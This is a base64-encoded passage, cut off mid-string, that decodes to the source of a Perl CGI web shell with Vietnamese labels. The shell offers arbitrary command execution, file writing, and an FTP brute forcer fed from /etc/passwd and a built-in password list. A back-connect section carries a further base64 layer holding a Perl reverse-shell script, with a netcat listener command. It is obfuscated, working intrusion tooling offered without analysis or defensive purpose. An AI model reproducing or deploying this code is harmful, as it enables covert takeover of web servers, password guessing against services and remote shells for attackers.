OXRiV0Z1WkV4cGJtVkpibkIxZEVadmNtMDdDZ2tKSkhKbGMzVnNkQ0F1UFNBaVEyOXRiV0Z1WkRvZ1BISjFiajRrVW5WdVEyOXRiV0Z1WkR3dmNuVnVQanhpY2o0OGRHVjRkR0Z5WldFZ2FXUTlKMlJoZEdFbklHTnZiSE05SnlSamIyeHpKeUJ5YjNkelBTY2tjbTkzY3ljZ2MzQmxiR3hqYUdWamF6MG5abUZzYzJVblBpSTdDZ2tKSkhKbGMzVnNkQ0F1UFNaU2RXNURiV1E3Q2dsOUNna2tjbVZ6ZFd4MElDNDlJQ0FpUEM5MFpYaDBZWEpsWVQ0aU93b0pjbVYwZFhKdUlDUnlaWE4xYkhRN0NuMEtDaU10TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzBLSXlCeWRXNGdZMjl0YldGdVpBb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDZ3B6ZFdJZ1VuVnVRMjFrQ25zS0NXMTVJQ1J5WlhOMWJIUTlJaUk3Q2dra1EyOXRiV0Z1WkNBOUlDSmpaQ0JjSWlSRGRYSnlaVzUwUkdseVhDSWlMaVJEYldSVFpYQXVKRkoxYmtOdmJXMWhibVF1SkZKbFpHbHlaV04wYjNJN0NnbHBaaWdoSkZkcGJrNVVLUW9KZXdvSkNTUlRTVWQ3SjBGTVVrMG5mU0E5SUZ3bVEyOXRiV0Z1WkZScGJXVnZkWFE3Q2drSllXeGhjbTBvSkVOdmJXMWhibVJVYVcxbGIzVjBSSFZ5WVhScGIyNHBPd29KZlFvSmFXWW9KRk5vYjNkRWVXNWhiV2xqVDNWMGNIVjBLU0FqSUhOb2IzY2diM1YwY0hWMElHRnpJR2wwSUdseklHZGxibVZ5WVhSbFpBb0pld29KQ1NSOFBURTdDZ2tKSkVOdmJXMWhibVFnTGowZ0lpQjhJanNLQ1FsdmNHVnVLRU52YlcxaGJtUlBkWFJ3ZFhRc0lDUkRiMjF0WVc1a0tUc0tDUWwzYUdsc1pTZzhRMjl0YldGdVpFOTFkSEIxZEQ0cENna0pld29KQ1Fra1h5QTlmaUJ6THloY2JueGNjbHh1S1NRdkx6c0tDUWtKSkhKbGMzVnNkQ0F1UFNBbVNIUnRiRk53WldOcFlXeERhR0Z5Y3lnaUpGOWNiaUlwT3dvSkNYMEtDUWtrZkQwd093b0pmUW9KWld4elpTQWpJSE5vYjNjZ2IzVjBjSFYwSUdGbWRHVnlJR052YlcxaGJtUWdZMjl0Y0d4bGRHVnpDZ2w3Q2drSkpISmxjM1ZzZENBdVBTQW1TSFJ0YkZOd1pXTnBZV3hEYUdGeWN5Z25KRU52YlcxaGJtUW5LVHNLQ1gwS0NXbG1LQ0VrVjJsdVRsUXBDZ2w3Q2drSllXeGhjbTBvTUNrN0NnbDlDZ2x5WlhSMWNtNGdKSEpsYzNWc2REc0tmUW9qUFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlDaU1nUm05eWJTQlRZWFpsSUVacGJHVWdDaU05UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMEtjM1ZpSUZOaGRtVkdhV3hsUm05eWJRcDdDZ2x0ZVNBa2NtVnpkV3gwSUQwaUlqc0tDWE4xWW5OMGNpZ2tVblZ1UTI5dGJXRnVaQ3d3TERVcFBTSWlPd29KYlhrZ0pHWnBiR1U5Sm5SeWFXMG9KRkoxYmtOdmJXMWhibVFwT3dvSkpITmhkbVU5Snp4aWNqNDhhVzV3ZFhRZ2JtRnRaVDBpWVNJZ2RIbHdaVDBpYzNWaWJXbDBJaUIyWVd4MVpUMGljMkYyWlNJZ1kyeGhjM005SW5OMVltMXBkQ0lnUGljN0Nna2tSbWxzWlQwa1EzVnljbVZ1ZEVScGNpNGtVR0YwYUZObGNDNGtVblZ1UTI5dGJXRnVaRHNLQ1cxNUlDUmthWEk5SWp4emNHRnVJSE4wZVd4bFBTZG1iMjUwT2lBeE1YQjBJRlpsY21SaGJtRTdJR1p2Ym5RdGQyVnBaMmgwT2lCaWIyeGtPeWMrSWk0bVFXUmtUR2x1YTBScGNpZ2laM1ZwSWlrdUlqd3ZjM0JoYmo0aU93b0phV1lvTFhjZ0pFWnBiR1VwQ2dsN0Nna0pKSEp2ZDNNOUlqSXpJZ29KZldWc2MyVUtDWHNLQ1Fra2JYTm5QU0k4WW5JK1BHWnZiblFnYzNSNWJHVTlKMlp2Ym5RNklERTFjSFFnVm1WeVpHRnVZVHNnWTI5c2IzSTZJSGxsYkd4dmR6c25JRDRnVUdWeWJXbHpjMmx2YmlCa1pXNXBaV1FoUEdadmJuUStQR0p5UGlJN0Nna0pKSEp2ZDNNOUlqSXdJZ29KZlFvSkpGQnliMjF3ZENBOUlDUlhhVzVPVkNBL0lDSWtaR2x5SUQ0Z0lpQTZJQ0k4Wm05dWRDQmpiMnh2Y2owbkkwWkdSa1pHUmljK1cyRmtiV2x1WEVBa1UyVnlkbVZ5VG1GdFpTQWtaR2x5WFZ3a1BDOW1iMjUwUGlBaU93b0pKSEpsWVdROUtDUlhhVzVPVkNrL0luUjVjR1VpT2lKc1pYTnpJanNLQ1NSU2RXNURiMjF0WVc1a0lEMGdJaVJ5WldGa0lGd2lKRkoxYmtOdmJXMWhibVJjSWlJN0Nna2tjbVZ6ZFd4MElDNDlJQ0E4UEVWT1JEc0tDVHhtYjNKdElHNWhiV1U5SW1ZaUlHMWxkR2h2WkQwaVVFOVRWQ0lnWVdOMGFXOXVQU0lrVTJOeWFYQjBURzlqWVhScGIyNGlQZ29LQ1R4cGJuQjFkQ0IwZVhCbFBTSm9hV1JrWlc0aUlHNWhiV1U5SW1RaUlIWmhiSFZsUFNJa1EzVnljbVZ1ZEVScGNpSStDZ2trVUhKdmJYQjBDZ2s4YVc1d2RYUWdkSGx3WlQwaWRHVjRkQ0lnYzJsNlpUMGlOREFpSUc1aGJXVTlJbU1pUGdvSlBHbHVjSFYwSUc1aGJXVTlJbk1pSUdOc1lYTnpQU0p6ZFdKdGFYUWlJSFI1Y0dVOUluTjFZbTFwZENJZ2RtRnNkV1U5SWtWdWRHVnlJajRLQ1R4aWNqNURiMjF0WVc1a09pQThjblZ1UGlBa1VuVnVRMjl0YldGdVpDQThMM0oxYmo0S0NUeHBibkIxZENCMGVYQmxQU0pvYVdSa1pXNGlJRzVoYldVOUltWnBiR1VpSUhaaGJIVmxQU0lrWm1sc1pTSWdQaUFrYzJGMlpTQThZbkkrSUNSdGMyY0tDVHhpY2o0OGRHVjRkR0Z5WldFZ2FXUTlJbVJoZEdFaUlHNWhiV1U5SW1SaGRHRWlJR052YkhNOUlpUmpiMnh6SWlCeWIzZHpQU0lrY205M2N5SWdjM0JsYkd4amFHVmphejBpWm1Gc2MyVWlQZ3BGVGtRS0NRb0pKSEpsYzNWc2RDQXVQU0FtVW5WdVEyMWtPd29KSkhKbGMzVnNkQ0F1UFNBZ0lqd3ZkR1Y0ZEdGeVpXRStJanNLQ1NSeVpYTjFiSFFnTGowZ0lDSThMMlp2Y20wK0lqc0tDWEpsZEhWeWJpQWtjbVZ6ZFd4ME93cDlDaU05UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMEtJeUJUWVhabElFWnBiR1VLSXowOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQUXB6ZFdJZ1UyRjJaVVpwYkdVb0pDa0tld29KYlhrZ0pFUmhkR0U5SUhOb2FXWjBJRHNLQ1cxNUlDUkdhV3hsUFNCemFHbG1kRHNLQ1NSR2FXeGxQU1JEZFhKeVpXNTBSR2x5TGlSUVlYUm9VMlZ3TGlSR2FXeGxPd29KYVdZb2IzQmxiaWhHU1V4RkxDQWlQaVJHYVd4bElpa3BDZ2w3Q2drSlltbHViVzlrWlNCR1NVeEZPd29KQ1hCeWFXNTBJRVpKVEVVZ0pFUmhkR0U3Q2drSlkyeHZjMlVnUmtsTVJUc0tDUWx5WlhSMWNtNGdNVHNLQ1gxbGJITmxDZ2w3Q2drSmNtVjBkWEp1SURBN0NnbDlDbjBLSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUW9qSUVKeWRYUmxJRVp2Y21ObGNpQkdiM0p0Q2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzBLYzNWaUlFSnlkWFJsUm05eVkyVnlSbTl5YlFwN0NnbHRlU0FrY21WemRXeDBQU0lpT3dvSkpISmxjM1ZzZENBdVBTQThQRVZPUkRzS0NqeDBZV0pzWlQ0S0NqeDBjajRLUEhSa0lHTnZiSE53WVc0OUlqSWlJR0ZzYVdkdVBTSmpaVzUwWlhJaVBnb2pJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TThZbkkrQ2xOcGJYQnNaU0JHVkZBZ1luSjFkR1VnWm05eVkyVnlQR0p5UGdvakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNS1BHWnZjbTBnYm1GdFpUMGlaaUlnYldWMGFHOWtQU0pRVDFOVUlpQmhZM1JwYjI0OUlpUlRZM0pwY0hSTWIyTmhkR2x2YmlJK0NnbzhhVzV3ZFhRZ2RIbHdaVDBpYUdsa1pHVnVJaUJ1WVcxbFBTSmhJaUIyWVd4MVpUMGlZbkoxZEdWbWIzSmpaWElpTHo0S1BDOTBaRDRLUEM5MGNqNEtQSFJ5UGdvOGRHUStWWE5sY2pvOFluSStQSFJsZUhSaGNtVmhJSEp2ZDNNOUlqRTRJaUJqYjJ4elBTSXpNQ0lnYm1GdFpUMGlkWE5sY2lJK0NrVk9SQXBqYUc5d0tDUnlaWE4xYkhRZ0xqMGdZR3hsYzNNZ0wyVjBZeTl3WVhOemQyUWdmQ0JqZFhRZ0xXUTZJQzFtTVdBcE93b2tjbVZ6ZFd4MElDNDlJRHc4SjBWT1JDYzdDand2ZEdWNGRHRnlaV0UrUEM5MFpENEtQSFJrUGdvS1VHRnpjem84WW5JK0NqeDBaWGgwWVhKbFlTQnliM2R6UFNJeE9DSWdZMjlzY3owaU16QWlJRzVoYldVOUluQmhjM01pUGpFeU0zQmhjM01LTVRJeklVQWpDakV5TTJGa2JXbHVDakV5TTJGaVl3b3hNak0wTlRaaFpHMXBiZ294TWpNME5UVTBNekl4Q2pFeU16UTBNekl4Q25CaGMzTXhNak1LWVdSdGFXNEtZV1J0YVc1amNBcGhaRzFwYm1semRISmhkRzl5Q20xaGRHdG9ZWFVLY0dGemMyRmtiV2x1Q25CQWMzTjNiM0prQ25CQWMzTjNNSEprQ25CaGMzTjNiM0prQ2pFeU16UTFOZ294TWpNME5UWTNDakV5TXpRMU5qYzRDakV5TXpRMU5qYzRPUW94TWpNME5UWTNPRGt3Q2pFeE1URXhNUW93TURBd01EQUtNakl5TWpJeUNqTXpNek16TXdvME5EUTBORFFLTlRVMU5UVTFDalkyTmpZMk5nbzNOemMzTnpjS09EZzRPRGc0Q2prNU9UazVPUW94TWpNeE1qTUtNak0wTWpNMENqTTBOVE0wTlFvME5UWTBOVFlLTlRZM05UWTNDalkzT0RZM09BbzNPRGszT0RrS01USXpNekl4Q2pRMU5qWTFOQW8yTlRRek1qRUtOelkxTkRNeU1RbzROelkxTkRNeU1RbzVPRGMyTlRRek1qRUtNRGs0TnpZMU5ETXlNUXBoWkcxcGJqRXlNd3BoWkcxcGJqRXlNelExTmdwaFltTmtaV1lLWVdKallXSmpDaUZBSXlGQUl3b2hRQ01rSlY0S0lVQWpKQ1ZlSmlvb0NpRkFJeVFrSTBBaENtRmlZekV5TXdwaGJtaDVaWFZsYlFwcGJHOTJaWGx2ZFR3dmRHVjRkR0Z5WldFK0Nqd3ZkR1ErQ2p3dmRISStDangwY2o0S1BIUmtJR052YkhOd1lXNDlJaklpSUdGc2FXZHVQU0pqWlc1MFpYSWlQZ3BUYkdWbGNEbzhjMlZzWldOMElHNWhiV1U5SW5Oc1pXVndJajRLQ2p4dmNIUnBiMjQrTUR3dmIzQjBhVzl1UGdvOGIzQjBhVzl1UGpFOEwyOXdkR2x2Ymo0S1BHOXdkR2x2Ymo0eVBDOXZjSFJwYjI0K0NnbzhiM0IwYVc5dVBqTThMMjl3ZEdsdmJqNEtQQzl6Wld4bFkzUStJQW84YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCamJHRnpjejBpYzNWaWJXbDBJaUIyWVd4MVpUMGlRbkoxZEdVZ1JtOXlZMlZ5SWk4K1BDOTBaRDQ4TDNSeVBnbzhMMlp2Y20wK0Nqd3ZkR0ZpYkdVK0NrVk9SQXB5WlhSMWNtNGdKSEpsYzNWc2REc0tmUW9qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDaU1nUW5KMWRHVWdSbTl5WTJWeUNpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS2MzVmlJRUp5ZFhSbFJtOXlZMlZ5Q25zS0NXMTVJQ1J5WlhOMWJIUTlJaUk3Q2dra1UyVnlkbVZ5UFNSRlRsWjdKMU5GVWxaRlVsOUJSRVJTSjMwN0NnbHBaaWdrYVc1N0ozVnpaWEluZlNCbGNTQWlJaWtLQ1hzS0NRa2tjbVZ6ZFd4MElDNDlJQ1pDY25WMFpVWnZjbU5sY2tadmNtMDdDZ2w5Wld4elpRb0pld29KQ1hWelpTQk9aWFE2T2taVVVEc2dDZ2tKUUhWelpYSTlJSE53YkdsMEtDOWNiaThzSUNScGJuc25kWE5sY2lkOUtUc0tDUWxBY0dGemN6MGdjM0JzYVhRb0wxeHVMeXdnSkdsdWV5ZHdZWE56SjMwcE93b0pDV05vYjIxd0tFQjFjMlZ5S1RzS0NRbGphRzl0Y0NoQWNHRnpjeWs3Q2drSkpISmxjM1ZzZENBdVBTQWlQR0p5UGp4aWNqNWJLMTBnVkhKNWFXNW5JR0p5ZFhSbElDUlRaWEoyWlhKT1lXMWxQR0p5UGowOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBqNCtQajQrUGo0K1BqNCtQRHc4UER3OFBEdzhQRDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UEdKeVBqeGljajVjYmlJN0Nna0pabTl5WldGamFDQWtkWE5sY201aGJXVWdLRUIxYzJWeUtRb0pDWHNLQ1FrSmFXWW9JU2drZFhObGNtNWhiV1VnWlhFZ0lpSXBLUW9KQ1FsN0Nna0pDUWxtYjNKbFlXTm9JQ1J3WVhOemQyOXlaQ0FvUUhCaGMzTXBDZ2tKQ1FsN0Nna0pDUWtKSkdaMGNDQTlJRTVsZERvNlJsUlFMVDV1Wlhjb0pGTmxjblpsY2lrZ2IzSWdaR2xsSUNKRGIzVnNaQ0J1YjNRZ1kyOXVibVZqZENCMGJ5QWtVMlZ5ZG1WeVRtRnRaVnh1SWpzZ0Nna0pDUWtKYVdZb0pHWjBjQzArYkc5bmFXNG9JaVIxYzJWeWJtRnRaU0lzSWlSd1lYTnpkMjl5WkNJcEtRb0pDUWtKQ1hzS0NRa0pDUWtKSkhKbGMzVnNkQ0F1UFNBaVBHRWdkR0Z5WjJWMFBTZGZZbXhoYm1zbklHaHlaV1k5SjJaMGNEb3ZMeVIxYzJWeWJtRnRaVG9rY0dGemMzZHZjbVJjUUNSVFpYSjJaWEluUGxzclhTQm1kSEE2THk4a2RYTmxjbTVoYldVNkpIQmhjM04zYjNKa1hFQWtVMlZ5ZG1WeVBDOWhQanhpY2o1Y2JpSTdDZ2tKQ1FrSkNTUm1kSEF0UG5GMWFYUW9LVHNLQ1FrSkNRa0pZbkpsWVdzN0Nna0pDUWtKZlFvSkNRa0pDV2xtS0NFb0pHbHVleWR6YkdWbGNDZDlJR1Z4SUNJd0lpa3BDZ2tKQ1FrSmV3b0pDUWtKQ1FsemJHVmxjQ2hwYm5Rb0pHbHVleWR6YkdWbGNDZDlLU2s3Q2drSkNRa0pmUW9KQ1FrSkNTUm1kSEF0UG5GMWFYUW9LVHNLQ1FrSkNYMEtDUWtKZlFvSkNYMEtDUWtrY21WemRXeDBJQzQ5SUNKY2JqeGljajQ5UFQwOVBUMDlQVDA5UGo0K1BqNCtQajQrUGlCR2FXNXBjMmhsWkNBOFBEdzhQRHc4UER3OFBUMDlQVDA5UFQwOVBUeGljajVjYmlJN0NnbDlDZ2x5WlhSMWNtNGdKSEpsYzNWc2REc0tmUW9qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDaU1nUW1GamEyTnZibTVsWTNRZ1JtOXliUW9qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDbk4xWWlCQ1lXTnJRbWx1WkVadmNtMEtld29KY21WMGRYSnVJRHc4UlU1RU93b0pQR0p5UGp4aWNqNEtDZ2s4ZEdGaWJHVStDZ2s4ZEhJK0NnazhabTl5YlNCdVlXMWxQU0ptSWlCdFpYUm9iMlE5SWxCUFUxUWlJR0ZqZEdsdmJqMGlKRk5qY21sd2RFeHZZMkYwYVc5dUlqNEtDVHgwWkQ1Q1lXTnJRMjl1Ym1WamREb2dQR2x1Y0hWMElIUjVjR1U5SW1ocFpHUmxiaUlnYm1GdFpUMGlZU0lnZG1Gc2RXVTlJbUpoWTJ0aWFXNWtJajQ4TDNSa1Bnb0pQSFJrUGlCSWIzTjBPaUE4YVc1d2RYUWdkSGx3WlQwaWRHVjRkQ0lnYzJsNlpUMGlNakFpSUc1aGJXVTlJbU5zYVdWdWRHRmtaSElpSUhaaGJIVmxQU0lrUlU1V2V5ZFNSVTFQVkVWZlFVUkVVaWQ5SWo0S0NTQlFiM0owT2lBOGFXNXdkWFFnZEhsd1pUMGlkR1Y0ZENJZ2MybDZaVDBpTnlJZ2JtRnRaVDBpWTJ4cFpXNTBjRzl5ZENJZ2RtRnNkV1U5SWpnd0lpQnZibXRsZVhWd1BTSmtiMk4xYldWdWRDNW5aWFJGYkdWdFpXNTBRbmxKWkNnblltRW5LUzVwYm01bGNraFVUVXc5ZEdocGN5NTJZV3gxWlRzaVBqd3ZkR1ErQ2dvSlBIUmtQanhwYm5CMWRDQnVZVzFsUFNKeklpQmpiR0Z6Y3owaWMzVmliV2wwSWlCMGVYQmxQU0p6ZFdKdGFYUWlJRzVoYldVOUluTjFZbTFwZENJZ2RtRnNkV1U5SWtOdmJtNWxZM1FpUGp3dmRHUStDZ2s4TDJadmNtMCtDZ2s4TDNSeVBnb0pQSFJ5UGdvSlBIUmtJR052YkhOd1lXNDlNejQ4Wm05dWRDQmpiMnh2Y2owalJrWkdSa1pHUGxzclhTQkRiR2xsYm5RZ2JHbHpkR1Z1SUdKbFptOXlaU0JqYjI1dVpXTjBJR0poWTJzaENnazhZbkkrV3l0ZElGUnllU0JqYUdWamF5QjViM1Z5SUZCdmNuUWdkMmwwYUNBOFlTQjBZWEpuWlhROUlsOWliR0Z1YXlJZ2FISmxaajBpYUhSMGNEb3ZMM2QzZHk1allXNTViM1Z6WldWdFpTNXZjbWN2SWo1b2RIUndPaTh2ZDNkM0xtTmhibmx2ZFhObFpXMWxMbTl5Wnk4OEwyRStDZ2s4WW5JK1d5dGRJRU5zYVdWdWRDQnNhWE4wWlc0Z2QybDBhQ0JqYjIxdFlXNWtPaUE4Y25WdVBtNWpJQzEyZGlBdGJDQXRjQ0E4YzNCaGJpQnBaRDBpWW1FaVBqZ3dQQzl6Y0dGdVBqd3ZjblZ1UGp3dlptOXVkRDQ4TDNSa1Bnb0tDVHd2ZEhJK0NnazhMM1JoWW14bFBnb0tDVHhpY2o0OFluSStDZ2s4ZEdGaWJHVStDZ2s4ZEhJK0NnazhabTl5YlNCdFpYUm9iMlE5SWxCUFUxUWlJR0ZqZEdsdmJqMGlKRk5qY21sd2RFeHZZMkYwYVc5dUlqNEtDVHgwWkQ1Q2FXNWtJRkJ2Y25RNklEeHBibkIxZENCMGVYQmxQU0pvYVdSa1pXNGlJRzVoYldVOUltRWlJSFpoYkhWbFBTSmlZV05yWW1sdVpDSStQQzkwWkQ0S0NnazhkR1ErSUZCdmNuUTZJRHhwYm5CMWRDQjBlWEJsUFNKMFpYaDBJaUJ6YVhwbFBTSXhOU0lnYm1GdFpUMGlZMnhwWlc1MGNHOXlkQ0lnZG1Gc2RXVTlJakUwTVRJaUlHOXVhMlY1ZFhBOUltUnZZM1Z0Wlc1MExtZGxkRVZzWlcxbGJuUkNlVWxrS0NkaWFTY3BMbWx1Ym1WeVNGUk5URDEwYUdsekxuWmhiSFZsT3lJK0Nnb0pJRkJoYzNOM2IzSmtPaUE4YVc1d2RYUWdkSGx3WlQwaWRHVjRkQ0lnYzJsNlpUMGlNVFVpSUc1aGJXVTlJbUpwYm1Sd1lYTnpJaUIyWVd4MVpUMGlWRWhKUlZWSFNVRkNWVTlPSWo0OEwzUmtQZ29KUEhSa1BqeHBibkIxZENCdVlXMWxQU0p6SWlCamJHRnpjejBpYzNWaWJXbDBJaUIwZVhCbFBTSnpkV0p0YVhRaUlHNWhiV1U5SW5OMVltMXBkQ0lnZG1Gc2RXVTlJa0pwYm1RaVBqd3ZkR1ErQ2drOEwyWnZjbTArQ2drOEwzUnlQZ29KUEhSeVBnb0pQSFJrSUdOdmJITndZVzQ5TXo0OFptOXVkQ0JqYjJ4dmNqMGpSa1pHUmtaR1Bsc3JYU0JEYUhWaklHNWhibWNnWTJoMVlTQmtZeUIwWlhOMElRb0pQR0p5UGxzclhTQlVjbmtnWTI5dGJXRnVaRG9nUEhKMWJqNXVZeUFrUlU1V2V5ZFRSVkpXUlZKZlFVUkVVaWQ5SUR4emNHRnVJR2xrUFNKaWFTSStNVFF4TWp3dmMzQmhiajQ4TDNKMWJqNDhMMlp2Ym5RK1BDOTBaRDRLQ2drOEwzUnlQZ29KUEM5MFlXSnNaVDQ4WW5JK0NrVk9SQXA5Q2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzBLSXlCQ1lXTnJZMjl1Ym1WamRDQjFjMlVnY0dWeWJBb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENuTjFZaUJDWVdOclFtbHVaQXA3Q2dsMWMyVWdUVWxOUlRvNlFtRnpaVFkwT3dvSmRYTmxJRk52WTJ0bGREc0pDZ2trWW1GamEzQmxjbXc5SWtsNVJYWmtXRTU1VERKS2NHSnBPWGRhV0VwelJGRndNV015VldkVFZUZzJUMnhPZGxreWRHeGtSSE5PUTJsU1ZHRkhWbk5pUVdzNVNVTkpkbGx0YkhWTU1rcG9ZekpuYVU5M01FdEtSVVpUVWpCTk9WRkZSbE5TTVZrM1JGRndNV015VldkVk1qbHFZVEpXTUU5M01FdGtXRTVzU1VWYWNHSkhWa2xaVnpWcllrZFZOMFJSY0hwaU1rNXlXbGhSYjFVd09VUlRNRlpWVEVOQ1VWSnNPVXBVYTFaVlRFTkNWRlF3VGt4WU1VNVZWV3RXUWxSVGQyZGFNbFl3WTBoS2RtUkhPV2xsVnpWb1lsZFZiMGx1VW1walEwbHdTMU5DZG1OcFFtdGhWMVZuWTBoS2NHSnVVV2RKYkhOMFdGTkNWbUp0Um1saVIxVm5aRWM0WjFWdFZucGlNbmd5V2xOQ1NXSXpUakJZUnpScFQzY3dTMWt5T1hWaWJWWnFaRU5vVkZRd1RreFNWbEZ6U1VoT2Rsa3lkR2hhUjFKNVdESnNkVXREVWtKVmEyUlhWM3BHWkV4RFFuQmliVll3V0RKR01HSXlORzlLUlVaVFVqRmFZazFHTUhCTFUydG5Zak5KWjFwSGJHeEpTRUo1WVZjMU1FbERTbUpNVmpCblZsYzFhRmx0ZUd4SlNGSjJTVVZPZG1KdE5XeFpNMUZuVTBjNWVtUkdlSFZKYW5OT1EyNUNlV0ZYTlRCSlEwcEVZakkxZFZwWFRqQmFWMUZvU1dwelRrTnNUbEJSTUhSR1ZrTXdLMWxZVmpCaU1scHpaRmhPYjB0RGF6ZEVVWEIyWTBkV2RVdEdUbFZTUld4UFRFTkJhVkJwV2xSVU1FNU1VbFpSYVV0VWMwNURiVGwzV2xjMGIxVXhVa1ZVTVZaVlRFTkpLMHBzVGxCUk1IUkdWa05KY0U5M01FdGlNMEpzWW1sb1ZGWkZVa1pWYkVselNXbzBiVlV3T1VSVE1GWlZTV2xyTjBSUmNIZGpiV3gxWkVOQmFVeFRNRGxRVTBKRVlqSTFkVnBYVGpCYVYxRm5VVzFHYW1FeVVuWmlNMGxuVUZRd2RFeFRRV2RZUnpWalltbEpOMFJSY0hwbFdFNHdXbGN3YjBsdVZuVmpNbFl3U1VWb1NsVXhVa2RUVlhoR1QzbENNV0p1VG14a1EwSlVVVlphUmxORmJGUldRMEUzV2xkT2IySjVRVzVYZVhSa1NVWk9OV016VW14aVYyeDFXbTA0TmtsRFl6ZEpTRloxV1ZjeGJFbERNV2hQTWxacVlVYzROMXBYVG05aWVVRnVWM2wwWkVsR1ZucGFXRXB3WW0xYWRrOXBRVzVQZVVKd1drUjBiRmt5YUhaUE1sWnFZVWM0WjBveGMzSllVMEpGWVZoS2JGa3pVblpqYm1zMlNVTmpOMGxJUWpOYVJIUnNXVEpvZGs5NVFteFpNbWgyU1VOa1lrc3hNR2RWTW1oc1lrZDNOa2xEWXpkS1JrNXZXbGQ0YzBscGF6ZEVVWEJxWWtjNWVscFRRbFJVTUU1TVVsWlJOeUk3Q2dra1ltbHVaSEJsY213OUlrbDVSWFprV0U1NVRESktjR0pwT1hkYVdFcHpSRkZ3TVdNeVZXZFZNamxxWVRKV01FOTNNRXRLUlVaVFVqQk5PVkZGUmxOU01WazNSRkZ2YTJOSE9YbGtRV3M1U1VOU1FsVnJaRmRYZWtKa1QzY3dTMHBJUW5saU0xSjJRMVF3WjFveVZqQmpTRXAyWkVjNWFXVlhOV2hpVjFWdlNqTlNhbU5EWTNCUGR6QkxTa1pPYjFwWGVITkRWREJuU1drNWFXRlhOSFpaYlVaNllVTkpOMFJSY0hwaU1rNXlXbGhSYjFVd1ZsTldhMVpUVEVOQ1VWSnNPVXBVYTFaVlRFTkNWRlF3VGt4WU1VNVZWV3RXUWxSVGQyZEtTRUo1WWpOU2RrdFhPWGxKUjFKd1dsTkJhV015T1dwaE1sWXdUMmxSYUVscWMwNURiazVzWkVoT2Rsa3lkSFpqU0ZGdlZUQldVMVpyVmxOTVEwSlVWREI0WmxVd09VUlRNRlpWVEVOQ1ZGUXhPVk5TVmxaVVVsVkdSVkpHU1hOSlNFSm9XVEp6YjBsdGQybE1RMEY0UzFOc2RtTnBRbXRoVjFWblNXNU9iR1JJVG5aWk1uUjJZMGhSTmtsRFVXaEphbk5PUTIxS2NHSnRVVzlWTUZaVFZtdFdVMHhEUW5waU1rNXlXVmRTYTJOc09YQmlhV2RyWTBjNWVXUkRkMmRUVlRWQ1VrVlNVMWd3Ums5WFUydHdZak5KWjFwSGJHeEpRMHBwWVZjMWEwOXBRV3RKVTBrM1JGRndjMkZZVGpCYVZ6UnZWVEJXVTFaclZsTk1RMEpVVkRBeFFsZEZUbEJVYXpSd1ExRnNkbU5wUW10aFYxVm5TVzE0Y0dNelVteGlhbTluU2tORmFVOTNNRXRhYlRsNVMwUnpaMHBJUW1oYVIxSjVTVVF3Wj